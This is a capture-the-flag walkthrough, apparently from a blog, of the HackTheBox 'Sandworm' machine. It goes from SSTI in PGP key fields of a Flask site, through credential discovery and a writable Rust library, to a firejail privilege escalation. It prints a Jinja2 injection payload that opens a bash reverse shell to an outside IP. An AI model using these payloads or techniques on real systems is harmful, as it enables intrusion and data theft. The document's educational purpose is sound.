Introduction
Sandworm is a Linux box rated as a Medium on HackTheBox. Parts of this box involve the use of PGP keys, web server enumeration (and the common vulnerabilities that go with it) as well as a unique privilege escalation vector. Without further ado, lets get in to this one!
Enumeration
As usual, we start with the Nmap Top1000 port scan while running default scripts and enumerating versions.
We follow that up with a full port scan as well but we're still only seeing the same 3 ports.
SSH (22)
- Looks like Ubuntu 22.04 (https://ubuntu.pkgs.org/22.04/ubuntu-updates-main-amd64/openssh-server_8.9p1-3ubuntu0.1_amd64.deb.html)
HTTP (80)
- Nginx 1.18.0
HTTPS (443)
- Nginx 1.18.0
We're also able to scrape an email address and a potential domain name of
ssa.htb
We try visiting the HTTP service by requesting the http:// protocol along with the server IP address, but the server responds with a 301 redirect to an HTTPS:// version of the site at https://ssa.htb/
-
Based on the Nmap scan as well as this initial response it seems like its time to add
ssa.htb
to our/etc/hosts
file. We're now able to visit the website on port 443 at https://ssa.htb. When we land there it looks like a Secret Spy Agency (SSA). Specifically, one powered by Flask.
There's a couple of different pages, one allows us to verify, decrypt, and encrypt messages using PGP keys.
- They offer a public key of their own at
/pgp
that we can then use to encrypt messages.
- They offer a public key of their own at
Within the /contact page there's a field to enter in a "Secret Spy Tip" which has been encrypted using SSA's public key.
NOTE: If you're using KGpg as your encryption/decryption tool of choice you may need to configure the toolbar better than its default form presents itself.
For instance, when first installing KGpg I had no option to encrypt or decrypt a message using these keys.
The easiest way to remedy this is to go to Settings -> Configure Toolbars and then select "Open Editor" and add it to the list of Current actions.
-
After this you can simply click Open Editor from the toolbar and can now verify/encrypt/decrypt to your heart's content!
We play around with the decrypt/encrypt/verify functionality for a little bit but start hitting a roadblock at this point.
After taking a break and coming back I noticed some of our signing key being reflected in the page when using the "Verify Signature" functionality on the site.
We had named the key 'myKey' and put in 'JAHJAHJAH' as a random comment when first creating our key pair.
-
Since it's a Flask app we try a few payloads and find we can inject the SSTI payload
{{7*"A"}}
into the key name as well as the comment{{7*"B"}}
. This gives us two potential sinks that are ending in code execution.
-
Later we learn that we could inject into the public key "armor" as well. The "armor" is the plaintext section that says start/end of signature with the dashed lines.
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
Eventually we sneak in
{{config}}
and get a bunch of env information.
----BEGIN PGP SIGNATURE-----
dict_items([
('ENV', 'production'),
('DEBUG', False),
('TESTING', False),
('PROPAGATE_EXCEPTIONS', None),
('SECRET_KEY', '91668c1bc67132e3dcfb5b1a3e0c5c21'),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)),
('USE_X_SENDFILE', False),
('SERVER_NAME', None),
('APPLICATION_ROOT', '/'),
('SESSION_COOKIE_NAME', 'session'),
('SESSION_COOKIE_DOMAIN', False),
('SESSION_COOKIE_PATH', None),
('SESSION_COOKIE_HTTPONLY', True),
('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_SAMESITE', None),
('SESSION_REFRESH_EACH_REQUEST', True),
('MAX_CONTENT_LENGTH', None),
('SEND_FILE_MAX_AGE_DEFAULT', None),
('TRAP_BAD_REQUEST_ERRORS', None),
('TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', False),
('PREFERRED_URL_SCHEME', 'http'),
('JSON_AS_ASCII', None),
('JSON_SORT_KEYS', None),
('JSONIFY_PRETTYPRINT_REGULAR', None),
('JSONIFY_MIMETYPE', None),
('TEMPLATES_AUTO_RELOAD', None),
('MAX_COOKIE_SIZE', 4093),
('SQLALCHEMY_DATABASE_URI', 'mysql://atlas:REDACTED@127.0.0.1:3306/SSA'),
('SQLALCHEMY_ENGINE_OPTIONS', {}),
('SQLALCHEMY_ECHO', False),
('SQLALCHEMY_BINDS', {}),
('SQLALCHEMY_RECORD_QUERIES', False),
('SQLALCHEMY_TRACK_MODIFICATIONS', False)])\n
We try a couple different Jinja specific SSTI payloads and eventually find a way to pop a bash shell by injecting the following into our signing key comment.
{{namespace.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/10.10.14.143/4242 0>&1'").read()}}
We get on the box and start looking around.
The usual SOP for these types of boxes is to transfer over something like LinPEAS so I can have some automated discovery going while performing manual exploration, but we find we don't have curl or wget.
We keep on with some manual exploration and eventually come across a
.config
directory within the home directory of the current user 'atlas'While looking through these .config directories we find a password for the other user
silentobserver
in an HTTPie session file namedadmin.json
- On a whim we try it with SSH and find ourselves with a shell as silentobserver.
Lateral Movement
We do some manual exploration and find an interesting rust file in
/opt/tipnet/src/
main.rs
It looks like this program is used to fetch new "SSA Tips" and either add them to the database or else allow users to query the database for these "Tips".More importantly, we find the connection settings to the MySQL database.
We can connect to the mysql database with
mysql -u tipnet -p
now, but when we look through the databases there doesn't appear to be anything substantial. Just our own tip submissions, a few random messages, and someone selling a zero-day..
We can read the /opt/tipnet/access.log
file. It shows some logging of the "tipnet" program.
Within
/opt/tipnet/src/main.rs
we see it loading an external library..-
When we track down that library at /opt/crate/logger/src/lib.rs we see that it's owned by the silentobserver group and that members of this group have write access to this file.
We find we can write to lib.rs that's being loaded by main.rs This library is what appears to be doing the logging so if we can trigger a logging event we can trigger code within this file that we have write permissions on...
After plenty of trial-and-error and a trip through the Rust development docs, we have a means of creating a reverse shell.
It takes a little while for this one to hit but eventually we get a new shell as...atlas..again!
Except this time we're not in the firejail! We see that we're also a part of the 'jailer' group this time when we check the user's id.
After this i tried generating an SSH key and but lost the shell. Afterwards whenever we try exploiting the tipnet program again we get a shell back as the other user 'silentobserver'.
Later realized the library must also be getting triggered by a cronjob b/c we kill the shell as silentobserver and start another listener..but before we can try to trigger it again we get a shell back as atlas again!
We find that the firejail binary is actually a vulnerable version which can be exploited to escalate our privileges
This blog post describes the vulnerability
This is the Python script that accompanies the above post and
We had plenty of issues getting this to run properly at first but it mostly seemed to stem from how our reverse shells were made. Another tactic would be adding to the authorized_keys file in atlas's
~/.ssh/
directoryEarlier i was trying to run the exploit as well as escalate from within the bash shells, but this time I tried doing it with the msfvenom reverse shells after stabilizing with:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Then
CTRL+z
to suspend the shell followed bystty raw -echo;fg
Lastly
export TERM=xterm
after re-entering the shell process.
-
With this in place we can run the command
firejail --join=<INSTANCE>
in another shell in order to escalate to root.